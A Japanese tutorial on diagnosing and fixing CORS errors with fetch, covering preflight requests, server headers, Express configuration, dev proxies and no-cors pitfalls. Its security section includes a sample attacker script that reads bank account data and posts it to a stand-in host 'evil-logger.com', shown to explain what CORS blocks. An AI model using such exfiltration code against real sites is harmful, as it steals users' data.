「fetch APIで通信しようとしたら、ブラウザコンソールに見慣れない赤い文字で『CORSエラー』が表示されて先に進めない…」Web開発の現場で、このCORSエラーに遭遇し、時間を取られた経験は多くの人にあるのではないでしょうか。特に、フロントエンドとバックエンドが異なるオリジンにある場合に発生しやすく、その仕組みを理解していないと解決に手こずってしまいがちです。
この記事では、CORSがなぜ必要なのかという根本的な仕組みから、エラー発生時の具体的なデバッグ方法、そしてサーバー側・クライアント側それぞれの実践的な解決策までを網羅的に解説します。

fetchで発生するCORSエラー完全解決ガイド
CORSの基本概念とエラー発生メカニズム
Web開発を進める中で、突然ブラウザコンソールに赤字で表示される「Access to fetch at… has been blocked by CORS policy」というエラーメッセージに頭を抱えた経験はありませんか?このエラーは多くの開発者を悩ませる厄介な問題です。しかし、仕組みを理解すれば必ず解決できます。
CORSとは何か?
CORS(Cross-Origin Resource Sharing:オリジン間リソース共有)とは、あるオリジン(ドメイン、プロトコル、ポートの組み合わせ)で動作しているWebアプリケーションが、別のオリジンのリソースにアクセスするための仕組みです。
例えば:
https://myapp.com
(フロントエンド)からhttps://api.example.com
(バックエンドAPI)へのデータ取得
これは「オリジンをまたいだ」(クロスオリジン)リクエストとなります。

なぜCORSが必要なのか?
CORSが登場する前、ブラウザには「同一オリジンポリシー(Same-Origin Policy)」という厳格なセキュリティ制限がありました。これは「あるWebページは、同じオリジンのリソースにしかアクセスできない」というルールです。
この制限は重要なセキュリティ対策でしたが、現代のWeb開発では、フロントエンドとバックエンドが異なるオリジンで動作することが一般的になっています。そこでCORSという仕組みが導入され、「安全な方法で」クロスオリジンリクエストを許可できるようになりました。
CORSの動作原理:プリフライトリクエストの秘密
CORSの肝は「サーバーが明示的に許可したオリジンからのアクセスのみを受け入れる」という点にあります。その仕組みは次のように機能します:
- ブラウザがクロスオリジンリクエストを検出
- 単純なリクエスト(GETなど特定条件を満たすもの)以外は、まず「プリフライトリクエスト」と呼ばれるOPTIONSメソッドのリクエストを送信
- サーバーは「このオリジンからのアクセスを許可するか?」という質問に応答ヘッダーで回答
- 許可されていれば本来のリクエスト(fetch)を実行、拒否されればCORSエラー
// JavaScriptでのfetchリクエスト例
fetch('<https://api.example.com/data>', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ key: 'value' })
})
.then(response => response.json())
.catch(error => console.error('CORSエラーが発生しました:', error));
上記のコードがCORSエラーを引き起こす場合、実はブラウザは2つのリクエストを試みています:
- プリフライトリクエスト(OPTIONS)
- 本来のリクエスト(POST)
プリフライトで許可が得られなければ、2番目のリクエストは実行すらされません。
CORSエラーが発生するメカニズム
CORSエラーが発生する主な理由は次の3つです:
- サーバー側のCORS設定不足:Access-Control-Allow-Originヘッダーなどが適切に設定されていない
- リクエスト内容の複雑さ:「単純なリクエスト」の条件を満たさない場合はプリフライトリクエストが必要
- 認証情報の取り扱い:Cookieなどの認証情報を含む場合、より厳格な設定が必要
特に注意すべきは「CORSはクライアント側(ブラウザ)の制限」であるという点です。サーバーは実際にはリクエストを受け取り、処理し、応答しているかもしれません。しかし、ブラウザがそのレスポンスをJavaScriptコードに渡すことを拒否しているのです。
例えば、curl や Postman などのツールを使えば同じリクエストが成功することもあります。これは「ブラウザの実装するセキュリティ機能」という性質を示しています。
ブラウザコンソールで見る典型的なエラーメッセージ例
CORSエラーに遭遇したとき、ブラウザのコンソールには様々なエラーメッセージが表示されます。よくあるエラーメッセージとその意味を理解しましょう。
1. Access-Control-Allow-Origin ヘッダーの問題
Access to fetch at '<https://api.example.com/data>' from origin '<http://localhost:3000>'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on
the requested resource.
このエラーは最も一般的で、単純に「サーバーがAccess-Control-Allow-Originヘッダーを返していない」ことを意味します。サーバー側でCORSの設定が全く行われていない場合に発生します。
2. オリジンが許可リストにない
Access to fetch at '<https://api.example.com/data>' from origin '<http://localhost:3000>'
has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value
'<https://allowed-site.com>' that is not equal to the supplied origin.
この場合、サーバーはCORS対応していますが、特定のオリジン(例:https://allowed-site.com
)のみを許可しており、あなたのオリジン(http://localhost:3000
)は許可リストに入っていません。
3. プリフライトリクエストの失敗
Access to fetch at '<https://api.example.com/data>' from origin '<http://localhost:3000>'
has been blocked by CORS policy: Response to preflight request doesn't pass access control check:
No 'Access-Control-Allow-Origin' header is present on the requested resource.
これはOPTIONSリクエスト(プリフライト)が失敗した場合のエラーです。サーバーがOPTIONSメソッドを適切に処理していないか、必要なCORSヘッダーを返していない可能性があります。
4. 認証情報関連のエラー
Access to fetch at '<https://api.example.com/data>' from origin '<http://localhost:3000>'
has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials'
header in the response is '' which must be 'true' when the request's credentials mode is 'include'.
これは認証情報(Cookieなど)を含むリクエストを行う際、サーバー側でAccess-Control-Allow-Credentials: true
が設定されていない場合に発生します。
これらのエラーメッセージを正確に読み取ることで、問題の特定が容易になります。特に注目すべきは:
- どのオリジン(from origin ‘…’)からどのURL(fetch at ‘…’)へのアクセスなのか
- どのCORSポリシーのルールに違反しているのか
- サーバー側のどのヘッダー設定が必要なのか
実際の開発では、これらのメッセージを手がかりに対策を講じることになります。
セキュリティポリシーがブロックする理由(XSS防御との関係)
CORSポリシーが厳格なのは、強固なセキュリティ対策のためです。特に関連が深いのがXSS(クロスサイトスクリプティング)やCSRF(クロスサイトリクエストフォージェリ)などの攻撃からユーザーを守る役割です。
クロスオリジン制限がない世界の危険性
もし同一オリジンポリシーやCORS制限がなければ、次のような攻撃シナリオが可能になります:
- あなたが信頼できる銀行サイト(
bank.com
)にログインしている - 悪意のあるサイト(
evil-site.com
)にアクセスする evil-site.com
上のJavaScriptが、あなたのブラウザからbank.com/api/transfer
にリクエストを送信- ブラウザには既に
bank.com
の認証Cookieが保存されているため、リクエストは認証済みとして処理される - 結果として、不正な送金が行われる
このような攻撃を防ぐために、ブラウザは異なるオリジン間のリクエストを制限しているのです。
XSS攻撃とCORSの関係
XSS攻撃は、悪意のあるスクリプトをWebサイトに注入し、ユーザーのブラウザで実行させる攻撃です。成功すると、攻撃者は同じオリジンのスクリプトとして実行されるため、CORSの制限を受けません。
しかし、CORSポリシーは「攻撃者のサイトから被害者のサイトへのリソースアクセス」を防ぐことで、攻撃の影響範囲を限定する役割を果たします。例えば:
// 悪意のあるサイト(evil-site.com)上のスクリプト
fetch('<https://your-bank.com/api/account-info>', {
credentials: 'include' // Cookieを含める
})
.then(response => response.json())
.then(data => {
// 盗んだデータを攻撃者のサーバーに送信
fetch('<https://evil-logger.com/steal>', {
method: 'POST',
body: JSON.stringify(data)
});
});
上記のようなコードは、CORSポリシーによってブロックされます。銀行のサーバーがevil-site.com
からのアクセスを許可するヘッダーを返さない限り、このfetchリクエストは失敗します。
安全なクロスオリジンアクセスを実現する仕組み
CORSは「安全な方法でクロスオリジンアクセスを可能にする」ための仕組みです。サーバー管理者が明示的に許可したオリジンからのアクセスのみを受け入れることで、不正アクセスのリスクを大幅に軽減します。
重要なのは次の点です:
- オプトイン方式である:デフォルトでは全てのクロスオリジンリクエストは拒否され、サーバー側が明示的に許可する必要がある
- きめ細かい制御が可能:HTTPメソッド、ヘッダー、認証情報など様々な要素ごとに許可・拒否を設定できる
- プリフライトリクエストによる事前確認:本来のリクエストを送る前に、そのリクエストが許可されるかを確認する
例えば、次のようにサーバーが応答することで、特定のオリジンからの特定のメソッドとヘッダーのみを許可することができます:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: <https://trusted-app.com>
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
このように、CORSポリシーは「不便な制限」ではなく「適切な安全対策」なのです。開発者としては、このセキュリティモデルを理解し、適切に対応することが重要です。
実践的解決策:サーバー/クライアント両面からのアプローチ
CORSの仕組みを理解したところで、実際にエラーを解決するための具体的な方法を見ていきましょう。CORSエラーの解決は大きく分けて「サーバー側の設定」と「クライアント側の対応」の2つのアプローチがあります。まずはサーバー側から見ていきましょう。
Expressで5分で設定するcorsパッケージ活用法
Node.jsのExpressフレームワークを使っている場合、cors
パッケージを使えば数行のコードでCORS対応が完了します。この方法は開発速度を重視したい場合や、プロトタイピング段階で特に有効です。
基本的な設定方法
まずパッケージをインストールします:
npm install cors
# または
yarn add cors
次にExpressアプリケーションに組み込みます:
const express = require('express');
const cors = require('cors');
const app = express();
// すべてのオリジンからのリクエストを許可する簡易設定
app.use(cors());
// ルートハンドラー
app.get('/api/data', (req, res) => {
res.json({ message: 'CORSエラーなしでデータを取得できました!' });
});
app.listen(3000, () => {
console.log('サーバーが起動しました - <http://localhost:3000>');
});
上記の設定ではapp.use(cors())
という一行で、すべてのルートに対してCORS許可の設定が適用されます。これだけでブラウザからのfetchリクエストが成功するようになります。
より詳細な設定オプション
より本番環境に近い設定では、セキュリティを考慮してオプションを細かく指定するのが望ましいでしょう:
const corsOptions = {
origin: '<https://your-trusted-frontend.com>', // 特定のオリジンのみを許可
methods: ['GET', 'POST', 'PUT', 'DELETE'], // 許可するHTTPメソッド
allowedHeaders: ['Content-Type', 'Authorization'], // 許可するHTTPヘッダー
credentials: true, // Cookieなどの認証情報を許可
maxAge: 86400 // プリフライト結果のキャッシュ時間(秒)
};
app.use(cors(corsOptions));
特定のルートのみにCORS設定を適用
すべてのAPIルートではなく、特定のエンドポイントだけにCORS設定を適用したい場合もあります:
// 特定のルートだけにCORSを適用
app.get('/api/public-data', cors(), (req, res) => {
res.json({ publicInfo: 'この情報は誰でもアクセスできます' });
});
// 他のルートは通常通り
app.get('/api/private-data', (req, res) => {
res.json({ privateInfo: 'このAPIは同一オリジンからのみアクセス可能' });
});
動的なオリジン許可の設定
より柔軟な設定として、条件に基づいて動的にオリジンを許可する方法もあります:
const corsOptions = {
origin: function (origin, callback) {
// ホワイトリスト方式
const allowedOrigins = ['<https://app.example.com>', '<https://admin.example.com>'];
// 開発環境ではundefinedになることがあるのでその対応
if (!origin || allowedOrigins.indexOf(origin) !== -1) {
callback(null, true);
} else {
callback(new Error('CORS policy violation'));
}
},
credentials: true
};
app.use(cors(corsOptions));
この方法を使えば、開発環境と本番環境で異なる設定を適用したり、特定の条件を満たすオリジンのみを許可したりすることができます。
Access-Control-Allow-Originヘッダーの適切な設定値(* vs 特定オリジン)
cors
パッケージの内部では、実際にはHTTPレスポンスヘッダーを適切に設定しています。別のバックエンドフレームワークを使っている場合や、より詳細な制御が必要な場合は、直接ヘッダーを設定する方法も理解しておくべきでしょう。
ワイルドカード(*)の使用
最も簡単な設定は「すべてのオリジンを許可する」というもので、ワイルドカード(*)を使用します:
// Express.jsの例
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*');
next();
});
# Pythonの例(Flask)
@app.after_request
def add_cors_headers(response):
response.headers['Access-Control-Allow-Origin'] = '*'
return response
ワイルドカードの設定は簡単ですが、重要な注意点があります:
- 認証情報を含むリクエストでは使用できない:
credentials: 'include'
やwithCredentials: true
を使用する場合、Access-Control-Allow-Origin
には使えません。必ず特定のオリジンを指定する必要があります。 - セキュリティリスク:すべてのウェブサイトからのアクセスを許可するため、公開APIでない限り本番環境では避けるべきです。
特定オリジンの指定
より安全な方法は、特定のオリジンのみを許可することです:
// Express.jsの例
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '<https://trusted-app.com>');
res.header('Vary', 'Origin'); // キャッシュ対策のため重要
next();
});
特定のオリジンを指定する場合、必ずVary: Origin
ヘッダーも一緒に送信するべきです。これはCDNやプロキシのキャッシュが正しく動作するために必要です。
複数オリジンへの対応
残念ながら、Access-Control-Allow-Origin
ヘッダーにはカンマ区切りのリストを指定できません。複数のオリジンを許可したい場合は、リクエストのオリジンに基づいて動的に設定する必要があります:
// Express.jsの例
app.use((req, res, next) => {
const allowedOrigins = ['<https://app1.example.com>', '<https://app2.example.com>'];
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
}
res.header('Vary', 'Origin');
next();
});
他の重要なCORSヘッダー
Access-Control-Allow-Origin
だけでなく、複雑なリクエストや認証を扱う場合は他のヘッダーも設定する必要があります:
app.use((req, res, next) => {
// オリジン設定
res.header('Access-Control-Allow-Origin', '<https://trusted-app.com>');
// プリフライトリクエスト対応
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
// 認証情報(Cookie等)の許可
res.header('Access-Control-Allow-Credentials', 'true');
// プリフライト結果のキャッシュ時間(秒)
res.header('Access-Control-Max-Age', '86400');
// キャッシュ対策
res.header('Vary', 'Origin');
// プリフライトリクエスト(OPTIONS)への応答
if (req.method === 'OPTIONS') {
return res.status(204).end();
}
next();
});
これらのヘッダーを正しく設定することで、様々なCORSエラーを解決できます。
フロントエンド開発者向けChrome –disable-web-securityの正しい使い方
サーバー側の設定が難しい場合(例えば外部APIを使用している場合など)、一時的な開発用の回避策としてブラウザのセキュリティ機能を無効化する方法があります。ただし、これは開発環境でのみ使用すべき一時的な回避策です。
Chromeでのセキュリティ無効化
Windows:
"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --disable-web-security --user-data-dir="C:/ChromeDevSession"
macOS:
open -a Google\\ Chrome --args --disable-web-security --user-data-dir="/tmp/ChromeDevSession"
Linux:
google-chrome --disable-web-security --user-data-dir="/tmp/ChromeDevSession"
この方法を使用する際の重要な注意点:
- セキュリティリスク:このモードで通常のウェブ閲覧をしないでください。悪意のあるサイトがクロスオリジンの情報にアクセスできる可能性があります。
- 開発専用:この設定で起動したChromeは、開発中のアプリケーションのテスト専用として使用してください。
- 一時的な解決策:最終的には適切なCORS設定を行うべきです。これはあくまで一時的な回避策です。
- 特別なプロファイル:
-user-data-dir
パラメータは、通常のブラウジングプロファイルと分離するために重要です。
他のブラウザでの対応
Firefox: Firefoxでは「CORS Everywhere」などのアドオンを使用できますが、Chrome同様にセキュリティリスクを伴います。
Edge:
msedge --disable-web-security --user-data-dir="C:/EdgeDevSession"
より安全な代替手段:ローカルプロキシの使用
ブラウザのセキュリティを無効化するよりも安全な方法として、ローカル開発サーバーをプロキシとして設定する方法があります。例えば、Create React Appではpackage.json
に次のように設定できます:
{
"name": "my-app",
"version": "0.1.0",
"proxy": "<https://api.example.com>"
}
この設定により、/api/data
へのリクエストは自動的にhttps://api.example.com/api/data
に転送されます。同様の機能は他のフレームワークでも提供されています:
- Vue.js (vue.config.js):
module.exports = {
devServer: {
proxy: {
'/api': {
target: '<https://api.example.com>',
changeOrigin: true
}
}
}
}
- Angular (proxy.conf.json):
{
"/api": {
"target": "<https://api.example.com>",
"secure": true,
"changeOrigin": true
}
}
このプロキシ方式の利点は、ブラウザのセキュリティを無効化せずに済むことと、実際の本番環境に近い設定でテストできることです。
このように、CORSエラーの解決には様々なアプローチがありますが、状況に応じて適切な方法を選択することが重要です。開発中は簡易的な方法を使いつつも、本番環境では適切なセキュリティ設定を行うことを心がけましょう。
現場で役立つトラブルシューティングテクニック
CORSエラーに遭遇したとき、その原因を特定して解決するには、適切なトラブルシューティング手法が欠かせません。このセクションでは、開発現場で即実践できる効果的なデバッグ方法を解説します。
開発者ツールNetworkタブで確認すべき4つのポイント
ブラウザの開発者ツール(DevTools)は、CORSエラーを解決するための強力な味方です。特にChromeの開発者ツールのNetworkタブには、問題解決に必要な情報が詰まっています。
1. リクエストとレスポンスの基本情報確認
まず、問題のリクエストを特定します:
- F12キー(またはCtrl+Shift+I / Cmd+Option+I)で開発者ツールを開く
- Networkタブをクリック
- 画面をリロードするか、問題となるリクエストを再実行
- フィルター機能を使って見つけやすくする(例:XHRフィルター)
エラーが発生しているリクエストは通常、赤色で表示されるか、ステータスが「(failed)」となっています。このリクエストをクリックして詳細を確認します。
// エラーとなるfetchリクエストの例
fetch('<https://api.example.com/data>')
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
2. リクエストヘッダーの検証
リクエストを選択したら、「Headers」タブで次の項目を確認します:
- Originヘッダー:ブラウザが自動的に追加するこのヘッダーの値が、サーバーの許可リストに含まれているか
- Content-Type:特に
application/json
など、プリフライトリクエストを引き起こすヘッダーがあるか - Authorization:認証情報を含むヘッダーがあるか
- カスタムヘッダー:独自のヘッダーがある場合、それらがCORSポリシーで許可されているか
Host: api.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; ...) ...
Accept: */*
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Origin: <http://localhost:3000>
Referer: <http://localhost:3000/>
Connection: keep-alive
Content-Type: application/json
特にOrigin
ヘッダーの値(上記の例ではhttp://localhost:3000
)が重要です。これがサーバー側のAccess-Control-Allow-Originヘッダーで許可されている必要があります。
3. レスポンスヘッダーの検証
次に「Response Headers」セクションで、サーバーが返しているCORS関連ヘッダーを確認します:
- Access-Control-Allow-Origin:必須のヘッダーで、リクエストのOriginと一致するか、が設定されているか
- Access-Control-Allow-Methods:使用するHTTPメソッド(GET、POST、PUTなど)が含まれているか
- Access-Control-Allow-Headers:送信しているカスタムヘッダーが許可されているか
- Access-Control-Allow-Credentials:認証情報を含む場合、
true
が設定されているか
Access-Control-Allow-Origin: <http://localhost:3000>
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Vary: Origin
これらのヘッダーが適切に設定されていない場合、CORSエラーの原因となります。例えば、リクエストのOriginがhttp://localhost:3000
なのに、レスポンスのAccess-Control-Allow-Origin
がhttps://example.com
の場合、ブラウザはレスポンスをブロックします。
4. プリフライトリクエスト(OPTIONS)の確認
複雑なリクエスト(カスタムヘッダーや、GET/POSTにない他のHTTPメソッドを使用する場合など)では、ブラウザは自動的にOPTIONSリクエストを先に送信します。このプリフライトリクエストも確認しましょう:
- Networkタブでフィルターを「All」または「Options」に設定
- メインのリクエストの前に同じURLへのOPTIONSリクエストがあるか確認
- このOPTIONSリクエストが成功(ステータスコード200や204)しているか確認
問題の多くは、このプリフライトリクエストの段階で発生しています。
Request URL: <https://api.example.com/data>
Request Method: OPTIONS
Status Code: 204 No Content
Remote Address: 203.0.113.42:443
以上の4つのポイントを確認することで、CORSエラーの原因を特定する手がかりが得られます。
プリフライトリクエスト(OPTIONS)の動作検証方法
プリフライトリクエストはCORSエラーの中でも特に理解が難しい部分です。ここでは、プリフライトリクエストの動作を詳しく検証する方法を見ていきましょう。
プリフライトリクエストが発生する条件
まず、どのような場合にプリフライトリクエストが発生するかを理解しておくことが重要です:
- 単純なリクエスト以外のHTTPメソッド:PUT、DELETE、PATCHなど
- 特定のContent-Type:application/json、application/xml など
- カスタムヘッダー:Authorization、X-Requested-With など
以下は、プリフライトリクエストを引き起こすコード例です:
// プリフライトリクエストが発生するfetch呼び出し
fetch('<https://api.example.com/data>', {
method: 'PUT', // 単純でないHTTPメソッド
headers: {
'Content-Type': 'application/json', // 特定のContent-Type
'Authorization': 'Bearer token123', // カスタムヘッダー
'X-Custom-Header': 'custom-value' // カスタムヘッダー
},
body: JSON.stringify({ key: 'value' })
});
プリフライトリクエストの検証手順
プリフライトリクエストを詳細に検証するには:
- リクエストの流れを確認:
- 開発者ツールのNetworkタブを開く
- 「Preserve log」にチェックを入れて履歴を保持
- フィルターを「All」または「Options」に設定
- 問題のリクエストを実行
- OPTIONSリクエストの詳細を確認:
- メソッドがOPTIONSのリクエストを見つけて選択
- リクエストヘッダーに注目:
Access-Control-Request-Method
: メインリクエストで使用するメソッドAccess-Control-Request-Headers
: メインリクエストで使用するカスタムヘッダー
Access-Control-Request-Method: PUT Access-Control-Request-Headers: content-type, authorization, x-custom-header Origin: <http://localhost:3000>
- OPTIONSレスポンスを確認:
- レスポンスヘッダーに注目:
Access-Control-Allow-Methods
: 許可されたHTTPメソッドAccess-Control-Allow-Headers
: 許可されたヘッダーAccess-Control-Allow-Origin
: 許可されたオリジン
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Custom-Header Access-Control-Allow-Origin: <http://localhost:3000> Access-Control-Max-Age: 86400
- レスポンスヘッダーに注目:
- ステータスコードを確認:
- 成功の場合は200や204などの2XX系コード
- 失敗の場合は403や500などのエラーコード、またはヘッダーの不一致
手動テストツールを使った検証
より詳細な検証や再現テストをするには、Postmanなどのツールが便利です:
- Postmanで新規リクエストを作成
- メソッドをOPTIONSに設定
- URLを問題のエンドポイントに設定
- ヘッダーに以下を追加:
Origin
: あなたのフロントエンドのオリジンAccess-Control-Request-Method
: 使用するメソッドAccess-Control-Request-Headers
: 使用するヘッダー(カンマ区切り)
- リクエスト送信して応答を確認
この方法を使えば、サーバー側の設定変更後すぐに効果をテストできます。
プロキシサーバー(http-proxy-middleware)を使ったローカル環境対策
ローカル開発環境でCORSエラーに悩まされることはよくありますが、プロキシサーバーを設定することで効率的に解決できる場合が多いです。特にhttp-proxy-middleware
は、様々なフロントエンドフレームワークと組み合わせて使える便利なツールです。
Reactアプリケーションでの設定例
Create React Appを使用している場合、src
ディレクトリにsetupProxy.js
ファイルを作成するだけで簡単にプロキシを設定できます:
// src/setupProxy.js
const { createProxyMiddleware } = require('http-proxy-middleware');
module.exports = function(app) {
app.use(
'/api',
createProxyMiddleware({
target: '<https://api.example.com>',
changeOrigin: true,
pathRewrite: {
'^/api': '', // 必要に応じてパスを書き換え
},
// レスポンスを確認するためのログ
onProxyRes: function(proxyRes, req, res) {
console.log('プロキシレスポンス:', proxyRes.statusCode);
},
// エラーハンドリング
onError: function(err, req, res) {
console.error('プロキシエラー:', err);
res.writeHead(500, {
'Content-Type': 'text/plain',
});
res.end('プロキシでエラーが発生しました');
}
})
);
};
このファイルを作成後、開発サーバーを再起動すると、/api/*
へのリクエストは自動的にhttps://api.example.com/*
にリダイレクトされます。
Vue.jsでの設定例
Vue CLIで作成したプロジェクトでは、vue.config.js
ファイルでプロキシを設定します:
// vue.config.js
module.exports = {
devServer: {
proxy: {
'/api': {
target: '<https://api.example.com>',
changeOrigin: true,
pathRewrite: {
'^/api': ''
},
logLevel: 'debug' // デバッグ用
}
}
}
};
Express.jsサーバーでのプロキシ設定
バックエンドにExpress.jsを使用している場合、直接http-proxy-middleware
を組み込むことができます:
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');
const app = express();
// 静的ファイルの提供
app.use(express.static('public'));
// API リクエストのプロキシ
app.use('/api', createProxyMiddleware({
target: '<https://api.example.com>',
changeOrigin: true,
pathRewrite: {
'^/api': ''
}
}));
app.listen(3000, () => {
console.log('サーバーが起動しました - <http://localhost:3000>');
});
プロキシを使うメリット
ローカル開発環境でプロキシを使用するメリットは多数あります:
- CORSエラーの解消:リクエストはブラウザから見れば同一オリジンになるため、CORSエラーが発生しません
- 環境の一貫性:開発環境と本番環境で同じAPIパスを使用できます
- 認証情報の扱いが容易:Cookie認証などがシームレスに機能します
- デバッグの容易さ:プロキシのログ機能を使ってリクエスト/レスポンスを詳細に確認できます
プロキシ使用時の注意点
プロキシを使用する際は、以下の点に注意が必要です:
- 開発環境専用:これは開発環境での解決策であり、本番環境ではサーバー側でCORSを適切に設定する必要があります
- セキュリティリスク:プロキシサーバーは意図しないリソースへのアクセスを可能にする場合があるため、設定には注意が必要です
- パフォーマンス影響:追加のリクエスト処理が入るため、わずかなレイテンシが発生する可能性があります
高度なプロキシ設定:環境変数の活用
本番環境と開発環境で異なるAPIエンドポイントを使い分ける場合は、環境変数を活用するとよいでしょう:
// React (setupProxy.js)
const { createProxyMiddleware } = require('http-proxy-middleware');
const API_URL = process.env.REACT_APP_API_URL || '<https://api.example.com>';
module.exports = function(app) {
app.use(
'/api',
createProxyMiddleware({
target: API_URL,
changeOrigin: true
})
);
};
このように、トラブルシューティングの手法を身につけることで、CORSエラーに遭遇した際に効率よく原因を特定し、適切な解決策を見つけることができます。特に開発環境では、プロキシサーバーを活用することで開発効率を大幅に向上させることが可能です。
ケーススタディ:よくある失敗パターンと解決コード例
実際の開発現場でCORSエラーに直面した際、特定のシナリオに応じた具体的な解決策が求められます。ここでは、よく遭遇するCORS関連の問題と、それを解決するための実践的なコード例を紹介します。
mode: ‘no-cors’の誤用で起こる「幽霊データ」現象
多くの開発者が「CORSエラーを解決する魔法の設定」としてmode: 'no-cors'
を使用しようとしますが、これは多くの場合、誤解を招く解決策です。
問題の症状
no-cors
モードを使うと、エラーは表示されなくなるものの、返ってくるレスポンスが「不透明(opaque)」となり、JavaScriptからアクセスできなくなります。その結果:
- エラーメッセージは消えたが、データは取得できない
- レスポンスの
status
は0
になる response.json()
などのメソッドが失敗する
// no-corsの誤用例
fetch('<https://api.example.com/data>', {
mode: 'no-cors' // これがあると...
})
.then(response => {
console.log(response.status); // 0と表示される
return response.json(); // エラーになる!
})
.then(data => {
console.log(data); // ここには到達しない
})
.catch(error => {
console.error('エラー:', error); // TypeError: Failed to fetch
});
なぜ起こるのか?
mode: 'no-cors'
は、クロスオリジンリクエストをCORSチェックなしで送信することを許可するモードですが、重要な制限があります:
- レスポンスは「不透明(opaque)」になり、JavaScriptからアクセスできない
- 使用できるメソッドは限定的(基本的にGETのみ)
- カスタムヘッダーの追加が制限される
つまり、APIからデータを取得するという一般的なユースケースでは、no-cors
はほとんど役に立ちません。
正しい解決方法
問題を適切に解決するには、以下のアプローチを取ります:
- サーバー側でCORSを適切に設定する(最も根本的な解決策)
// Express.jsでの正しいCORS設定
const express = require('express');
const cors = require('cors');
const app = express();
app.use(cors({
origin: '<https://yourfrontend.com>' // フロントエンドのオリジン
}));
app.get('/data', (req, res) => {
res.json({ message: 'これでデータにアクセスできます' });
});
- 開発環境ではプロキシを使用する
// Create React AppのsetupProxy.js
const { createProxyMiddleware } = require('http-proxy-middleware');
module.exports = function(app) {
app.use(
'/api',
createProxyMiddleware({
target: '<https://api.example.com>',
changeOrigin: true,
})
);
};
no-cors
の適切な使用場面
no-cors
が実際に役立つのは、レスポンスの内容にアクセスする必要がない場合のみです。例えば:
// no-corsの適切な使用例(トラッキングピクセルなど)
fetch('<https://analytics.example.com/track>', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({ event: 'page_view' })
})
.then(() => {
console.log('トラッキングリクエスト送信(成功/失敗は不明)');
})
.catch(error => {
console.error('ネットワークエラー:', error);
});
実際のデバッグ例
「幽霊データ」現象をデバッグするには、まず開発者ツールでネットワークリクエストを確認します:
- ステータスコードが
0
またはレスポンスタイプがopaque
であるかチェック mode: 'no-cors'
を削除してエラーメッセージの詳細を確認- サーバー側のCORS設定を修正するか、プロキシを使用する
画像/フォントリソース読み込み時のCORSエラー対応
APIデータだけでなく、画像やフォント、CSSなどの静的リソースでもCORSエラーが発生することがあります。特にCanvas操作や、フォントの読み込みでよく問題が起きます。
画像のCORS問題
HTML上の<img>
タグではCORSエラーが表示されないのに、同じ画像をJavaScriptで操作するとエラーになるケースがあります:
// Canvasで別オリジンの画像を扱う際のCORSエラー例
const img = new Image();
img.src = '<https://external-domain.com/image.jpg>';
img.onload = () => {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
try {
// ここでエラー発生
const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
// 画像処理...
} catch (e) {
console.error('Canvas処理エラー', e);
// "Failed to execute 'getImageData' on 'CanvasRenderingContext2D':
// The canvas has been tainted by cross-origin data."
}
};
解決策:クロスオリジン属性の設定
画像のCORS問題を解決するには:
- クライアント側:画像要素に
crossorigin
属性を追加
const img = new Image();
img.crossOrigin = 'anonymous'; // または 'use-credentials'
img.src = '<https://external-domain.com/image.jpg>';
<!-- HTMLでの設定 -->
<img crossorigin="anonymous" src="<https://external-domain.com/image.jpg>">
- サーバー側:画像サーバーでCORSヘッダーを設定
# Apacheの.htaccessファイルでの設定例
<IfModule mod_headers.c>
Header set Access-Control-Allow-Origin "<https://yoursite.com>"
Header set Timing-Allow-Origin "<https://yoursite.com>"
</IfModule>
# Nginxでの設定例
location ~* \\\\.(jpg|jpeg|png|gif|svg)$ {
add_header Access-Control-Allow-Origin "<https://yoursite.com>";
# その他の設定...
}
WebフォントのCORS問題
カスタムWebフォントを使用する際も、同様のCORS問題が発生することがあります:
/* 別ドメインからのフォント読み込み */
@font-face {
font-family: 'CustomFont';
src: url('<https://fonts.example.com/custom-font.woff2>') format('woff2');
}
このような場合、開発者ツールのコンソールに次のようなエラーが表示されることがあります:
Access to font at '<https://fonts.example.com/custom-font.woff2>' from origin '<http://localhost:3000>' has been blocked by CORS policy
Webフォントの解決策
- フォントサーバーでCORSヘッダーを設定(上記の画像と同様)
- font-display属性を活用してフォント読み込み失敗時の影響を軽減
@font-face {
font-family: 'CustomFont';
src: url('<https://fonts.example.com/custom-font.woff2>') format('woff2');
font-display: swap; /* フォントロード中はシステムフォントを表示 */
}
- フォントをローカルにホスティングしてクロスオリジン問題を回避
@font-face {
font-family: 'CustomFont';
src: url('/assets/fonts/custom-font.woff2') format('woff2');
}
- Google Fontsなどの実績あるCDNを使用
<link href="<https://fonts.googleapis.com/css2?family=Roboto&display=swap>" rel="stylesheet">
認証付きAPI(Cookie/Token)で必要なCredentials設定
セキュアなAPIで認証情報を扱う場合、追加の設定が必要になります。特にCookieベースの認証やセッション管理を使用する場合は注意が必要です。
Cookie認証とCORSの問題
デフォルトでは、クロスオリジンリクエストにCookieなどの認証情報は含まれません。これにより、ログイン状態を維持したAPIリクエストが失敗する場合があります:
// 認証情報が送信されないfetchリクエスト
fetch('<https://api.example.com/user-data>')
.then(response => response.json())
.then(data => console.log(data))
.catch(err => console.error(err));
// レスポンス: 「未認証」または「ログインが必要です」
